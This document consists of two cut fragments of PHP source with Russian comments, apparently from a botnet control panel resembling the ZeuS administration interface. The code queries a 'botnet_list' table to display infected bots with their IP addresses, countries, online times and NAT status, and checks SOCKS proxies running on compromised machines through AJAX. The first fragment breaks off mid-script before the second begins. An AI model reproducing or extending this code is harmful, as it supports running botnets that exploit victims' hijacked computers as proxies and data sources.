$res = array(); while ($m = @mysql_fetch_row($r)) { $res[$m[0]] = $m; } mysql_free_result($r); unset($m); $data = str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(3, LNG_BA_PORT_SOCKS_TITLE), THEME_LIST_TITLE); $i = 0; $jsList = ''; //Выводим результат. foreach ($blist as $bot) { $isExists = isset($res[$bot]); $item = $i++ % 2 == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2; if ($isExists) { $l = $res[$bot]; $ipv4 = binaryIpToString($l[2]); $jsList .= ($jsList == '' ? '' : ', ') . "['st{$i}', '" . addJsSlashes(urlencode($ipv4)) . "', '" . addJsSlashes(urlencode($l[3])) . "']"; } $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($bot, 'botmenu') . THEME_STRING_SPACE . '/' . THEME_STRING_SPACE . ($isExists ? $l[1] : '--')), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? htmlEntitiesEx($ipv4 . ':' . $l[3]) : '-:-'), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? str_replace('{ID}', 'st' . $i, THEME_STRING_ID_BEGIN) . LNG_BA_PORT_SOCKS_CHECKING . THEME_STRING_ID_END : LNG_BA_PORT_SOCKS_FAILED), $item) . THEME_LIST_ROW_END; } //Скрипт для проверки соксов. $ajaxError = addJsSlashes(str_replace('{TEXT}', LNG_BA_PORT_SOCKS_ERROR, THEME_STRING_ERROR)); $ajaxInit = jsXmlHttpRequest('socksHttp'); $q = addJsSlashes(QUERY_SCRIPT . '?botsaction=port_socks&bots[]=0'); $ajax = <<<JS_SCRIPT var socksList = [{$jsList}]; var socksHttp = false; function stateChange(i){if(socksHttp.readyState == 4) { var el = document.getElementById(socksList[i][0]);
//Создание списка страниц. if (($pageCount = ceil($mt[0] / BOTS_PER_PAGE)) > 1) { $pageList = THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . showPageList($pageCount, $curPage, 'return changePage({P})') . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END; } $botsCount = $mt[0]; } //Запрос 2. $botsList = ''; $offset = ($curPage - 1) * BOTS_PER_PAGE; if (!$r || !($r = mysqlQueryEx('botnet_list', 'SELECT `bot_id`, `botnet`, `bot_version`, LOCATE(`ipv4`, `ipv4_list`), `ipv4`, `country`, `rtime_online`, IF(`rtime_last`>=' . ONLINE_TIME_MIN . ', 1, 0), `net_latency`, `comment` FROM `botnet_list` ' . $query2 . ' LIMIT ' . $offset . ', ' . BOTS_PER_PAGE)) || @mysql_affected_rows() === 0) { $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } else { $i = 0; while ($mt = @mysql_fetch_row($r)) { //IPv4. $ipv4 = binaryIpToString($mt[4]); //Метка NAT. if ($mt[3] == 0) { $ipv4 .= '*'; } $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; $themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1; $themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1; $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText) . THEME_LIST_ROW_END; $i++; } } /////////////////////////////////////////////////////////////////////////////////////////////////// // Создание списока дейтвий. /////////////////////////////////////////////////////////////////////////////////////////////////// $actions = '';